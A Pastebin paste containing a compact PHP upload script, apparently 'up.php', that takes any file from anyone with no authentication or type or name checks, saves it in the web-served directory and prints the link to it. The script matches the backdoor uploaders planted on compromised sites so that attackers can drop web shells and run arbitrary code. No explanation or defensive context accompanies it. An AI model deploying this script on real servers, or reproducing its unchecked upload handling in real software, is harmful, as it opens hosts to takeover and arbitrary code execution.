Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php echo "<div align=\"center\">
- <img src=\"http://i.imgur.com/kkhH5Ig.png\" width=\"250\" height=\"245\"></img><br>
- <form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
- <label for=\"file\">Filename:</label>
- <input type=\"file\" name=\"file\" id=\"file\" />
- <br />
- <input type=\"submit\" name=\"submit\" value=\"Upload\">
- </form>
- </div>
- ";if(isset($_POST["submit"])){if($_FILES["file"]["error"]>0){echo"Error: ".$_FILES["file"]["error"]."<br />";}else{echo"Upload: ".$_FILES["file"]["name"]."<br />";echo"Size: ".($_FILES["file"]["size"]/1024)." Kb<br />";echo"Stored in: ".$_FILES["file"]["tmp_name"]."<br>";}if(file_exists("".$_FILES["file"]["name"])){echo$_FILES["file"]["name"]." already exists. ";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"".$_FILES["file"]["name"]);$path=__dir__;echo"Stored in: ".$path."/".$_FILES["file"]["name"]."<br>";echo"<hr>";$url="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];$path=str_replace("up.php",$_FILES["file"]["name"],$url);echo"Go here : ".$path."<br>";}}
- ?>
Advertisement
Add Comment
Please, Sign In to add comment